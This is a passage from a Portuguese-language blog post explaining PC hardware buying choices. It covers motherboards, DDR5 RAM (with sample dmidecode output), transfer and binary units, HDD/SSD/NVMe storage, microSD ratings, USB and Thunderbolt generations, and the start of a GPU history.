</span></span><span class="line"><span class="cl"> Type: Motherboard
</span></span><span class="line"><span class="cl"> Contained Object Handles: <span class="m">0</span>
</span></span><span class="line"><span class="cl">...</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Acho que <code>sudo dmidecode -t system</code> faz a mesma coisa.</p>
<p>Tem as pequenas coisas também: Windows 11 costuma exigir a existência de um chip <strong>TPU 2.0</strong> que também costuma ser opcional na maioria dos modelos de placa-mãe. É bom ter, ou compre uma que já vem, ou compre separado e encaixe.</p>
<p>Alguns modelos não suportam overclocking. Se você for um entusiasta de tuning, tem que checar quais modelos suportam. Coisas como <strong>Secure Boot</strong>, é bom ter. Isso qualquer bom modelo tem, mas se estiver querendo escolher uma velha, pra economizar, cheque se tem.</p>
<p>O ideal é ter portas como Thunderbolt 4.0, USB 4.0, mas se tiver pelo menos USB 3 Gen 2, já ajuda. Nem toda USB 3 é igual!! Tem gerações diferentes! Só porque tem porta azul não quer dizer que é veloz. Vou falar disso depois.</p>
<p>Ideal ter Wi-fi embutido também, pra evitar ter que comprar uma placa ou USB separado. Mas cuidado, a maioria ainda oferece só o obsoleto Wi-Fi 5. Já estamos em <strong>Wi-fi 7</strong>, um Samsung Galaxy moderno já suporta, por exemplo. Mas como sempre, se está acostuma às baixas velocidades dos planos de internet que tem por aí, de fato, até Wi-fi 5 funciona. Mas se quiser transferir grandes arquivos entre seus computadores e celulares, vai querer um Wi-fi 7 mais moderno, no mínimo Wi-fi 6.</p>
<p>Também não adianta nada ter Wi-Fi 7 no seu PC mas continuar usando roteador que a Vivo, Claro, te deram. Essas porcarias que eles dão pra você são totalmente obsoletos, Wi-fi 5 no máximo. Eu mesmo uso um <strong>TP-Link BE9000 Wi-fi 7</strong> e desligo o roteador Wi-Fi da Vivo.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250914031547_TP-Link-BE9300-Archer-BE550-Wi-Fi-7-Router-771x1024.webp" alt="TP-Link"  loading="lazy" /></p>
<h3>RAM DDR 5<span class="hx:absolute hx:-mt-20" id="ram-ddr-5"></span>
    <a href="#ram-ddr-5" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Outra coisa importante pra ver na sua CPU e sua placa-mãe é qual tipo de RAM eles suportam. Como já falei antes, se quiser uma workstation de ponta, vai querer uma que suporte RAM ECC. Na prática, pra maioria de nós, não precisa de ECC. Só é mais caro, pras raras vezes que um raio cósmico conseguir flipar um bit e crashear seu sistema (é muito, muito raro).</p>
<p>Mais importante é escolher DDR 5. Mas tanto DDR 5 ou DDR 4 tem variações, só pra continuar complicando sua vida. Memória também tem <strong>clock</strong>!</p>
<p>Acho que a DDR 4 o mais veloz é 3200Mhz, o mais comum ainda é 2666Mhz. PCs mais velhos que 2014 vão ser DDR 3!! Cuidado!</p>
<p>Já DDR 5 começa em 4800Mhz e vai até uns 6000Mhz.</p>
<p>Se estiver num Linux dá pra saber as informações da sua assim:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># dmidecode 3.6</span>
</span></span><span class="line"><span class="cl">Getting SMBIOS data from sysfs.
</span></span><span class="line"><span class="cl">SMBIOS 3.7.0 present.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Handle 0x0011, DMI <span class="nb">type</span> 16, <span class="m">23</span> bytes
</span></span><span class="line"><span class="cl">Physical Memory Array
</span></span><span class="line"><span class="cl"> Location: System Board Or Motherboard
</span></span><span class="line"><span class="cl"> Use: System Memory
</span></span><span class="line"><span class="cl"> Error Correction Type: None
</span></span><span class="line"><span class="cl"> Maximum Capacity: <span class="m">128</span> GB
</span></span><span class="line"><span class="cl"> Error Information Handle: 0x0010
</span></span><span class="line"><span class="cl"> Number Of Devices: <span class="m">4</span>
</span></span><span class="line"><span class="cl">...
</span></span><span class="line"><span class="cl">Handle 0x0016, DMI <span class="nb">type</span> 17, <span class="m">100</span> bytes
</span></span><span class="line"><span class="cl">Memory Device
</span></span><span class="line"><span class="cl"> Array Handle: 0x0011
</span></span><span class="line"><span class="cl"> Error Information Handle: 0x0015
</span></span><span class="line"><span class="cl"> Total Width: <span class="m">64</span> bits
</span></span><span class="line"><span class="cl"> Data Width: <span class="m">64</span> bits
</span></span><span class="line"><span class="cl"> Size: <span class="m">48</span> GB
</span></span><span class="line"><span class="cl"> Form Factor: DIMM
</span></span><span class="line"><span class="cl"> Set: None
</span></span><span class="line"><span class="cl"> Locator: DIMM <span class="m">1</span>
</span></span><span class="line"><span class="cl"> Bank Locator: P0 CHANNEL A
</span></span><span class="line"><span class="cl"> Type: DDR5
</span></span><span class="line"><span class="cl"> Type Detail: Synchronous Unbuffered <span class="o">(</span>Unregistered<span class="o">)</span>
</span></span><span class="line"><span class="cl"> Speed: <span class="m">6000</span> MT/s
</span></span><span class="line"><span class="cl"> Manufacturer: CORSAIR
</span></span><span class="line"><span class="cl">...</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Isso vai listar informações de cada pente de memória conectado ao barramento da placa-mãe. Com esse output (que está cortado pra não ficar longo demais) dá pra concluir que eu tenho 2 pentes de memória, cada um com <strong>48 GB</strong> e <strong>6000 MT/s</strong> de velocidade.</p>
<p>Eles são <strong>Corsair Vengeance</strong>, não-ECC, dando um total de <strong>96 GB</strong> de RAM DDR 5. Eu poderia colocar 128 GB ou mais, mas até hoje nunca consegui saturar esse tanto de memória, então vai aguentar assim por muito tempo ainda.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250914022843_corsair-vengeance-rgb-ddr5-32gb-2x16gb-ddr5-6000-cl36-36-36-76-135v-amd-expo-intel-xmp-grey.webp" alt="vengeance"  loading="lazy" /></p>
<p>Tem até RGB 🤣.</p>
<p>Pra maioria das pessoas eu diria que 16 GB é o novo mínimo e 32 GB é o &ldquo;sweet-spot&rdquo;. Pra programadores que precisa subir muitos containers Docker pesados, só aí iria pra 64 GB.</p>
<h2>&ldquo;Transfers&rdquo; != &ldquo;bytes&rdquo;<span class="hx:absolute hx:-mt-20" id="transfers--bytes"></span>
    <a href="#transfers--bytes" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Um detalhe. Quando falamos em DDR 4 3200 ou DDR 5 6000, não é 6000 <strong>MB/s</strong> e sim 6000 <strong>MT/s</strong>.</p>
<p>Eu odeio essa unidade, mas isso são &ldquo;<strong>Mega Transfers</strong> por segundo&rdquo;. Quando falei de PCI Lanes, também é uma pegadinha. PCIe 5.0 diz ter 32 GT/s (32 <strong>Giga TRANSFER</strong>/segundo). Vamos traduzir.</p>
<blockquote>
  <p>&ldquo;Transfers&rdquo; se refere a quantos símbolos crús (que não equivale a 1 byte) dá pra transmitir por segundo. No caso de PCIe lanes, eles são seriais, então 1 transfer é 1 símbolo pelo fio físico. Mas 1 transfer não é 1 byte!</p>

</blockquote>
<p>No caso de PCIe Lanes:</p>
<ul>
<li>PCIe 3.0 - 8 GT/s aproximadamente 985 MB/s por lane</li>
<li>PCIe 4.0 - 16 GT/s aproximadamente 1.9 GB/s por lane</li>
<li>PCIe 5.0 - 32 GT/s aproximadamente 3.9 GB/s por lane</li>
</ul>
<p>Pra começar DDR significa <strong>Double-Data-Rate</strong>, onde dados são transferidos nas duas bordas de cada clock. Portanto:</p>
<ul>
<li>6000 MT/s é 3000 Mhz</li>
<li>DDR 5 6000 é 3000 Mhz</li>
<li>DDR 4 3200 é 1600 Mhz</li>
</ul>
<p>Por que diabos se fala nessa unidade idiota de &ldquo;mega-transfers&rdquo; ou &ldquo;giga-transfer&rdquo;? Única e exclusivamente pra <strong>marketing</strong>, porque é o número maior. E consumidor é burro, ele escolhe o número maior.</p>
<h3>&ldquo;GIBI-bytes&rdquo; != &ldquo;GIGA-bytes&rdquo;<span class="hx:absolute hx:-mt-20" id="gibi-bytes--giga-bytes"></span>
    <a href="#gibi-bytes--giga-bytes" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>O marketing não acaba em &ldquo;transfers&rdquo;. Já notou que você compra um SSD de <strong>1 TERABYTE</strong> mas quando pluga no Windows ele te fala que tem só uns &ldquo;<strong>931 GB</strong>&rdquo;?? Onde foram parar os outros 69 GB??</p>
<p>No mundo normal de computação, nós medimos dados na base 2. Portanto 2^10 = 1024. Se a unidade básica for &ldquo;byte&rdquo; então 1024 bytes é 1 KILO-byte. 2^20 é 1 MEGA-byte e 2^30 é 1 GIGA-byte.</p>
<p>Qualquer programador iniciante entende isso. Mas a população em geral não, então todo fabricante de HDs, SSD, NVME e qualquer tipo de &ldquo;storage&rdquo; resolveu mudar tudo e dizer o seguinte:</p>
<ul>
<li>1 KB = 1000 bytes</li>
<li>1 MB = 1000^2 = 1.000.000 bytes</li>
<li>1 GB = 1000^3 = 1.000.000.000 bytes</li>
</ul>
<p>E a unidade correta, que seria KILOBYTE ou MEGABYTE eles renomearam pra essa coisa <strong>HORRENDA</strong> que é &ldquo;KIBI-BYTE&rdquo; ou &ldquo;MIBI-BYTE&rdquo; ou &ldquo;GIBI-BYTE&rdquo;. E eu só tenho a dizer:</p>
<blockquote>
  <p>&ldquo;KIBI&rdquo; de cú é rola!!!</p>

</blockquote>
<p>Mas o marketing vai te dizer:</p>
<ul>
<li>1 KiB = 1024 bytes</li>
<li>1 MiB =1024^2 = 1.048.576 bytes</li>
<li>1 GiB = 1024^3 = 1.073.741.824 bytes</li>
</ul>
<p>Por isso que você compra um HD de 1 TB e o Windows (corretamente) diz 931 GiB. Pelo menos RAM e velocidade de rede tendem a ser as unidades binárias reais, então quando você compra um pente de &ldquo;16 GB&rdquo;, na linguagem do marketing você comprou &ldquo;16 GiB&rdquo; mesmo. E quando falamos rede de 1 Gbps estamos falando de 1 GiB/s. Só armazenamento que é essa putaria.</p>
<h3>HDs vs SSDs vs NVME<span class="hx:absolute hx:-mt-20" id="hds-vs-ssds-vs-nvme"></span>
    <a href="#hds-vs-ssds-vs-nvme" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Falando em armazenamento, precisa entender o seguinte:</p>
<ul>
<li>HDs mecânicos ainda existem, tem bom custo benefício, são confiáveis e razoavelmente velozes. Os melhores HDs são pau a pau com um SSD médio, porque no final ambos vão saturar o mesmo barramento, que é SATA.</li>
<li>Se quiser realmente alta-performance, você vai usar NVMEs, que se ligam diretamente ao barramento PCIe 4.0 ou 5.0 da sua placa-mãe. Mas são bem mais caros.</li>
</ul>
<p>Vamos lá:</p>
<ul>
<li>HDs mecânico é uma tecnologia que começou lá nos anos 50, quando poucos kilobytes precisavam de um rack inteiro do tamanho de um servidor inteiro de hoje. Como os Phoenix que você pode ver no canal do Usagi Electric.</li>
</ul>
<p><a href="https://www.youtube.com/watch?v=IsgRKPPOMZI"target="_blank" rel="noopener"><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250913183146_screenshot-2025-09-13_18-31-35.png" alt="Phoenix"  loading="lazy" /></a></p>
<ul>
<li>Os HDs mais velozes de hoje são de <strong>7200 RPM</strong> (rotações dos discos por minuto) e velocidades que variam de 150 a 200 MB/s, com latência de 1 a 2 ms. A vantagem é que eles oferecem grandes volumes a preços atrativos (eu tenho vários de 20 TB no meu NAS). Mas a velocidade realmente não é mais moderno.</li>
</ul>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250913184838_st20000nt001-seagate-hd-interno-sata-20tb-7200-rpm-ironwolf-pro-7dcb4490-jxvnesfrs7.webp" alt="HD Ironwolf"  loading="lazy" /></p>
<ul>
<li>SSDs nasceram no fim dos anos 2000, Solid-State Drives porque não tem partes móveis, são como chips de RAM persistentes. Elas se conectam ao mesmo tipo de barramento que HDs mecânicos: <strong>SATA III</strong> (Serial ATA) e oferecem velocidade na faixa de 500 a 550 MB/s sequencial. O dobro de HDs mecânicos. E tem a vantagem de facilmente poder substituir um HD mecânico no mesmo barramento e ser compatível. Mas é isso: o teto é 550 MB/s.</li>
</ul>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250913184704_20-147-798-V01.webp" alt="SSD Samsung"  loading="lazy" /></p>
<ul>
<li>
<p>NVMEs SSD muitos confundem porque também podem ser chamados de &ldquo;SSDs&rdquo;, afinal são &ldquo;solid-state&rdquo; mas de tecnologias diferentes. O correto seria dizer &ldquo;SSD SATA&rdquo; e &ldquo;SSD NVME&rdquo;. NVME significa <strong>Non-Volatile Memory Express</strong>, que pra maioria das pessoas não quer dizer nada mesmo.</p>
</li>
<li>
<p>NVMEs se ligam ao barramento PCIe, portanto o teto é a velocidade dos lanes de PCIe como falei antes. Em PCIe 3.0 o teto vai ser 3.5 GB/s (que já é 6x mais veloz que o mais veloz SSD SATA III). Em PCIe 5.0 o máximo teórico é 13 a 14 GB/s (muito difícil atingir tudo isso, a maioria fica na faixa dos 5GB/s mesmo). A latência cai de &ldquo;ms&rdquo; pra &ldquo;µs&rdquo; (milissegundo vs MICROssegundo).</p>
</li>
</ul>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250913184737_Samsung_980_PRO_PCIe_4.0_NVMe_SSD_1TB-top_PNr%c2%b00915.webp" alt="NVME"  loading="lazy" /></p>
<p>Ou seja SATA III está preso na faixa das centenas de MEGAbytes por segundo, já NVME sobe pra quase dezena de GIGAbyte por segundo. É uma ordem de grandeza de <strong>70x</strong>.</p>
<p>Vamos entender mais na prática:</p>
<ul>
<li><strong>PCIe 3.0 x4</strong> (2015-2020) ~3.0 a ~3.5 GB/s (Samsung 970 EVO Plus, WD Black SN750)</li>
<li><strong>PCIe 4.0 x4</strong> (2020-2023) ~6 a 7.5 GB/s (Samsung 980 PRO, WD SN850X, Crucial P5 Plus)</li>
<li><strong>PCIe 5.0 x4</strong> (a partir de 2023) ~10 a 12GB/s em <em>pico</em>, não média (Crucial T700, Corsair MP700, Gigabyte Aorus Gen5 10000)</li>
</ul>
<p>Entenda que essas velocidades são pra leitura <strong>sequencial</strong> de arquivos grandes e não pra leituras ou escritas <strong>aleatórias</strong> de arquivos pequenos. A velocidade diminui DRAMATICAMENTE em uso do dia a dia de verdade com arquivos pequenos.</p>
<p>Mesmo em 2025 ainda não é comum NVMEs PCI 5.0, todo mundo ainda usa <strong>NVMEs PCIe 4.0</strong>, portanto a velocidade máxima que se encontra hoje é na faixa dos 7 GB/s, mais comum perto dos 5 GB/s, que são os Samsung 980 PRO / 990 PRO, WD Black SN850X, Crucial P5 Plus / P3 Plus ou similares.</p>
<p>Mesmo com uma CPU e placa-mãe que suporte PCIe 5.0, você ainda vai plugar NVME PCIe 4.0 (não tem problema, porque são retro-compatíveis). Mas não espere conseguir essa faixa acima de 10 GB/s sem pagar MUITO CARO. Simplesmente não compensa.</p>
<p>Muita gente ainda usa SSD: <strong>fique longe dos genéricos</strong> sem marca e baratos demais da AliExpress. É super comum ser só um adaptador de microSD card. E também não gosto de Kingston, essa marca já me deu muita dor de cabeça. Fique com marcas confiáveis como Samsung, Sandisk, Crucial, Western Digital e coisas assim.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250913185340_8tb-ssd-scam1-f849be8d05152279ce7ebb06c7b4a84c.webp" alt="SSD SCAM"  loading="lazy" /></p>
<p>Eu mesmo comprei um desses só pra demonstrar esse <strong>GOLPE</strong>, pelo Mercado Livre e postei stories no meu Instagram na época. É fácil de identificar: <strong>são excessivamente baratos</strong>. Acho que depois disso o MercadoLivre tentou ser mais esperto pra não vender isso, mas no AliExpress sempre tem.</p>
<p>Tem mais: NVMEs tem <strong>diferentes tamanhos</strong>:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250913184910_m2-ssd-sizes.webp" alt="NVME sizes"  loading="lazy" /></p>
<p>NVMEs se conectam no tal <strong>slot M2</strong> na placa-mãe. É um slot que dá acesso direto ao barramento PCIe, normalmente x4 (4 lanes).</p>
<p>O modelo mais comum é o <strong>2280</strong>. É o que a maioria dos PCs suporta. Mas dependendo do notebook, ou se for um handheld como o primeiro <strong>Asus Rog Ally</strong> e acho que também o Steam Deck, vai precisar de tamanhos menores como os modelos <strong>2242</strong> ou <strong>2230</strong>.</p>
<p>É um trade-off de tamanho físico por capacidade. <strong>2242</strong> se não me engano, tem capacidade máxima de 2 TB. Eu gosto de 4 TB ou 8 TB então precisa ser pelo menos um <strong>2280</strong>.</p>
<p>Tem mais problemas: marcas &ldquo;baratas&rdquo; são baratas porque tiram alguns componentes como <strong>DRAM</strong>. Pra funcionar rápido, precisa existir uma memória RAM pra servir e buffer e cache. Além disso, modelos baratos tem controladores porcaria. E isso diminui não só a velocidade, como a vida útil dos chips.</p>
<p>Não use modelos baratos, eles são proporcionalmente piores e vão ou corromper seus dados ou morrer cedo. Não existe almoço grátis. Novamente, fique com marcas conhecidas como Samsung. Samsung sempre é confiável.</p>
<h3>MicroSD Cards<span class="hx:absolute hx:-mt-20" id="microsd-cards"></span>
    <a href="#microsd-cards" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Mesma coisa: <strong>todo microSD sem marca ou barato é golpe</strong>. Ele não tem a capacidade que anuncia, quando bate num teto começa a sobrescrever os dados do começo. Não confie.</p>
<p>Só compro Samsung. Mas não é tão simples assim. Lembra os caras do <strong>marketing</strong> dos TIBI-BYTES?? Pois é, eles atacam pra valer em microSD. Existem 3 diferenças: classes (capacidade), velocidade do barramento (BUS), notas de velocidade (Speed), confiabilidade! Sim! Vamos entender:</p>
<ol>
<li><strong>Classes de Capacidade</strong></li>
</ol>
<ul>
<li><strong>SDSC</strong> (Standard Capacity): up to 2 GB (<strong>obsoleto</strong>).</li>
<li><strong>SDHC</strong> (High Capacity): 2–32 GB.</li>
<li><strong>SDXC</strong> (Extended Capacity): 32 GB–2 TB.</li>
<li><strong>SDUC</strong> (Ultra Capacity): up to 128 TB (<strong>não comum ainda</strong>).</li>
</ul>
<ol start="2">
<li><strong>Bus Interface</strong></li>
</ol>
<ul>
<li><strong>UHS-I</strong>: up to 104 MB/s.</li>
<li><strong>UHS-II</strong>: up to 312 MB/s (linha extra de pinos).</li>
<li><strong>UHS-III</strong>: up to 624 MB/s (raro).</li>
<li><strong>SD Express</strong> (PCIe/NVMe): teórico ~985 MB/s+ (ainda nicho).</li>
</ul>
<ol start="3">
<li><strong>Speed Ratings</strong></li>
</ol>
<ul>
<li>Speed Class (<strong>C</strong>): C2 (2 MB/s), C4, C6, C10.</li>
<li>UHS Speed Class (<strong>U</strong>): U1 (10 MB/s), U3 (30 MB/s).</li>
<li>Video Speed Class (<strong>V</strong>): V6 → V90 (6–90 MB/s, sustentado).</li>
</ul>
<ol start="4">
<li><strong>Application Class (A)</strong></li>
</ol>
<ul>
<li><strong>A1</strong>: ≥1500 IOPS read, ≥500 IOPS write, 10 MB/s sustentado.</li>
<li><strong>A2</strong>: ≥4000 IOPS read, ≥2000 IOPS write, 10 MB/s sustentado.</li>
</ul>
<ol>
<li><strong>Níveis de Confiança</strong></li>
</ol>
<ul>
<li>Consumer grade: pra câmera e fones (o mais comum).</li>
<li>High Endurance: pra escrita contínua (dashcams, câmeras de segurança).</li>
<li>Industrial grade: suporta range maior de temperatura, desgasta menos, muito mais caro.</li>
</ul>
<p>Na prática, procure sempre <strong>SDXC</strong>, <strong>UHS-II</strong> (ou UHS-I que é mais comum), <strong>V90</strong> (mais comum é abaixo de V30 mesmo). É isso que significa esse malditos códigos escritos num microSD:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250913190622_microsd.jpeg" alt="samsung microsd"  loading="lazy" /></p>
<p>Esse da foto da Samsung tem capacidade de 512GB, classe SDXC, barramento UHS-I (até 90 MB/s), velocidade U3 (30MB/s) (é esse ícone de um 3 dentro do U na imagem). Feito pra funcionar bem em câmeras ou fones ou handhelds da vida. Menos que isso é <strong>ruim</strong>.</p>
<p>Outro exemplo:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250913190951_88555428f12eca2dab1110cac7de0a7079-micro-sd.rsquare.w400.webp" alt="comparison microsd"  loading="lazy" /></p>
<p>Agora você consegue ler. O Samsung EVO Select de 512GB, SDXC, U3, A2, V30 e o da direita SanDisk Ultra 128GB SDXC, U1, A1, C10. Agora você sabe o que procurar e o que isso significa.</p>
<p>Mais importante é Speed Rating, muitos são classe C como C10 acima. Mas se o uso for pra gravar video em boa qualidade, sem engasgar, procure classe V como V90!</p>
<h3>USB vs Thunderbolt<span class="hx:absolute hx:-mt-20" id="usb-vs-thunderbolt"></span>
    <a href="#usb-vs-thunderbolt" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Pra piorar a confusão de marketagem ainda tem USB e Thunderbolt. Vamos entender: primeiro de tudo ter conector USB-C não significa nada. USB-C é padrão do conector físico do cabo, só isso. Os dados que trafegam nela usam protocolos, e existem vários.</p>
<p>No caso de plug USB-A, que é o retângulo que tem lado certo pra encaixar e é o mais comum na parte de trás de um PC, alguns vem com cores diferentes:</p>
<ul>
<li>Preto → USB 2.0 (480 Mb/s).</li>
<li>Azul → USB 3.0 / 3.1 Gen 1 / 3.2 Gen 1 (5 Gb/s).</li>
<li>Verde-azulado / Turquesa → USB 3.1 Gen 2 / 3.2 Gen 2 (10 Gb/s).</li>
<li>Vermelho → porta de alta energia (quase sempre USB 3.2 Gen 2, algumas vezes “always-on charging”).</li>
<li>Amarelo / Laranja → Também porta “charging”, depende do fabricante.</li>
<li>Branco → Legado / BIOS flashback (quase sempre USB 2.0).</li>
</ul>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250914024147_11166Image10_zoom.jpg" alt="usb ports"  loading="lazy" /></p>
<p><strong>Confusão de Nomenclatura</strong></p>
<ul>
<li>USB 3.0 (2010) → depois renomeado pra USB 3.1 Gen 1 → daí pra USB 3.2 Gen 1 (5 Gb/s).</li>
<li>USB 3.1 (2013) → agora USB 3.2 Gen 2 (10 Gb/s).</li>
<li>USB 3.2 (2017) → USB 3.2 Gen 2×2 (20 Gb/s).</li>
<li>USB4 (2019) → 20–40 Gb/s, mesmo conector físico de USB-C, Thunderbolt-like.</li>
<li>USB4 v2 (2022) → até 80–120 Gb/s, ainda sendo espalhado durante 2025.</li>
</ul>
<p><strong>Portar mais populares em placas-mãe (2025)</strong></p>
<ul>
<li>USB 2.0 (preto/branco) → ainda presente pra mouse e teclado, BIOS flashback.</li>
<li>USB 3.2 Gen 1 (azul) → 5 Gb/s, muito comum.</li>
<li>USB 3.2 Gen 2 (verde-azulado/vermelho) → 10 Gb/s, comum em placas de médio ou alto custo.</li>
<li>USB 3.2 Gen 2×2 (Type-C, algumas vezes vermelho/verde-azulado) → 20 Gb/s, placas mais caras.</li>
<li>USB4 / Thunderbolt 4 (Type-C) → 40 Gb/s, placas premium, workstations.</li>
</ul>
<p>Fora isso, não é tão comum em PCs mas é bem comum em Macs, são as portas <strong>Thunderbolt</strong>.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250914024235_7e05-mobo2.jpg" alt="thunderbolt"  loading="lazy" /></p>
<ul>
<li>
<p><strong>Thunderbolt 1</strong> (2011)</p>
<ul>
<li>Baseado em PCIe 2.0 ×4 + DisplayPort 1.1a.</li>
<li>Conector: Mini DisplayPort.</li>
<li>Banda: 10 Gb/s (bi-directional).</li>
<li>Maior parte é Apple + algumas placas Intel.</li>
</ul>
</li>
<li>
<p><strong>Thunderbolt 2</strong> (2013)</p>
<ul>
<li>Conector: Mini DisplayPort.</li>
<li>Canais agregados → 20 Gb/s.</li>
<li>Ainda PCIe 2.0, DisplayPort 1.2.</li>
<li>Usado na era do MacBook Pro / Mac Pro.</li>
</ul>
</li>
<li>
<p><strong>Thunderbolt 3</strong> (2015)</p>
<ul>
<li>Conector: USB-C (primeiro Thunderbolt a usar).</li>
<li>Banda: 40 Gb/s (PCIe 3.0 ×4 + DP 1.2).</li>
<li>Suporte completo a USB 3.1/3.2.</li>
<li>Largamente adotado em laptops, docks, eGPUs.</li>
<li>Requer certificação; nem toda porta USB-C = Thunderbolt 3.</li>
</ul>
</li>
<li>
<p><strong>Thunderbolt 4</strong> (2020)</p>
<ul>
<li>Conector: USB-C.</li>
<li>Ainda máximo de 40 Gb/s (como TB3), mas menos requerimentos mínimos:
<ul>
<li>Mínima banda de PCIe 3.0 ×4 garantida.</li>
<li>Suporte pra monitors duplos 4K ou um 8K.</li>
<li>Carregamento mandatório + suporte a &ldquo;wake from sleep&rdquo;.</li>
</ul>
</li>
<li>Mais consistente entre diversos dispositivos.</li>
<li>Suporte nativo no Intel Tiger Lake+, AMD Ryzen 7000+ (alguns).</li>
</ul>
</li>
<li>
<p><strong>Thunderbolt 5</strong> (anúncio em 2023, entregue em 2024/25)</p>
<ul>
<li>Conector: USB-C.</li>
<li>Banda: 80 Gb/s bi-direcional, 120 Gb/s modo assimétrico (pra monitores).</li>
<li>Usa tunelamento de PCIe 4.0.</li>
<li>DisplayPort 2.1, suporta dual 8K ou triplo 4K.</li>
<li>Ideal pra external GPUs, docks de alta-banda, monitores de workstation.</li>
</ul>
</li>
<li>
<p>Como Thunderbolt se relaciona com USB / USB4</p>
<ul>
<li>Thunderbolt 3 → formou a base pro USB4.</li>
<li>USB4 = padrão aberto, 20–40 Gb/s, compartilha muito do protocolo Thunderbolt.</li>
<li>USB4 v2 (especificação de 2022, saindo em 2025) = até 80–120 Gb/s, efetivamente equivalente a Thunderbolt 5.</li>
<li>Muitas novas portas são “compatíveis com USB4 / Thunderbolt,” mas nem todos garantem todas as funcionalidades de TB a menos que seja certificado.</li>
</ul>
</li>
</ul>
<p>Conector Thunderbolt, a partir do 3 se não me engano é igual USB-C mas tem o símbolo de &ldquo;raio&rdquo; nele pra diferenciar.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250914024546_screen_shot_2022-11-30_at_2.02.19_pm.webp" alt="thunderbolt connector"  loading="lazy" /></p>
<p>Como podemos ver, não basta ter uma porta azul ou porta USB-C. Tem que ler a especificação no manual da placa-mãe que escolher. No geral, a maioria das placas-mãe modernas tem pelo menos USB 3.2 Gen 2 ou até USB 4. Pra Thunderbolt o buraco é mais embaixo, a maioria não tem.</p>
<p>Thunderbolt é importante se quiser eGPU ou storage externo pra coisas como edição de video (DAS), como CalDigit TS5 Plus, Sonnet Echo 13 ou então ligar múltiplos monitores 4K.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250914024434_Best-Thunderbolt-USB-C-Docks-Docking-Stations-MacBook-Mac.webp" alt="thunderbolt storage"  loading="lazy" /></p>
<h3>GPUs<span class="hx:absolute hx:-mt-20" id="gpus"></span>
    <a href="#gpus" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Primeiro: GPU é o que chamamos o chip principal dentro de uma &ldquo;placa-gráfica&rdquo; que é o produto completo que tem a GPU, VRAM, cooler, placa-mãe e outros componentes.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250913232051_gpu.jpeg" alt="GPU"  loading="lazy" /></p>
<p>Todo mundo chama tudo só de &ldquo;GPU&rdquo; então meio que tanto faz, mas via de regra você está procurando uma &ldquo;placa-gráfica&rdquo;. Vamos resumir a história recente, caso esteja interessado em usados primeiro.</p>
<p><strong>AMD (Radeon)</strong></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250913233552_RX7900XTX-O24G-B_0.jpg" alt="rx 7900 xtx"  loading="lazy" /></p>
<ul>
<li>Série:
<ul>
<li>RX 5000 (Navi, 2019) – lançamento de PCIe 4.0, midrange (RX 5700 XT).</li>
<li>RX 6000 (RDNA2, 2020) – ray tracing, Infinity Cache, competitivo com RTX 3000.</li>
<li>RX 7000 (RDNA3, 2022) – design de &ldquo;chiplet&rdquo;, alta performance por /watt, RX 7900 XTX vs RTX 4080.</li>
</ul>
</li>
